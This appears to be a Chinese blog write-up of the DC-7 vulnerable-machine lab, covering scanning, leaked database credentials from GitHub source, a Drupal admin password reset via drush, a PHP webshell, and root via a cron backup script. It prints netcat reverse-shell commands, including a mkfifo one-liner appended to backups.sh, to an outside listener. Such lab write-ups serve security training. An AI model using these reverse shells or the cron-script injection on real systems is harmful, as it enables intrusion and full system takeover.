靶机-DC7

arp-scan找到靶机IP

在这里插入图片描述

masscan扫描IP端口

在这里插入图片描述

nmap渗透扫描

在这里插入图片描述

目录扫描

在这里插入图片描述

访问主页http://192.168.253.139/

在这里插入图片描述

指纹

在这里插入图片描述

http://192.168.253.139/robots.txt

在这里插入图片描述

http://192.168.253.139/README.txt

在这里插入图片描述

http://192.168.253.139/web.config

在这里插入图片描述

找了一遍没找到可利用点,最后

在这里插入图片描述

发现在Github上可以下载对应的源码

从github上面找到了源代码,里面的config.php(配置文件)就有密码。

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

ssh连接

在这里插入图片描述

查看当前目录下文件

backups下是两个加密文件

打开mbox文件,发现是一个计划任务,定时备份,并且备份目录执行的源码在/opt/scripts目录下

在这里插入图片描述

查看这个计划任务

在这里插入图片描述

发现想用drush管理一个网站,那么就必须先跳转到那个网站的目录下。更改密码

cd /var/www/html
drush user-password admin --password="admin"

登录

在这里插入图片描述

在Content—>Add content–>Basic page下,准备添加PHP代码反弹shell,但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

在这里插入图片描述

最后安装启用

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

点击home ——> Edit进行编辑

在这里插入图片描述

选择php添加一句话

在这里插入图片描述

保存后直接主页连接蚁剑

在这里插入图片描述

打开root发现没权限,提权

反弹shell

nc -e /bin/bash 192.168.253.129 8080

在这里插入图片描述

python获取shell交互界面
python -c ‘import pty;pty.spawn(“/bin/bash”)’

在这里插入图片描述

当前用户是www-data,在/opt/scripts目录下的backups.sh脚本文件所属组是www-data,所以www-data用户可以对这个脚本文件进行操作,并且这个脚本文件定时执行可以利用它来反弹shell

echo "nc -e /bin/bash 192.168.56.108 4444" >>backups.sh

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.253.129 4444 >/tmp/f" >> backups.sh

在这里插入图片描述

获得root权限,找到flag

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值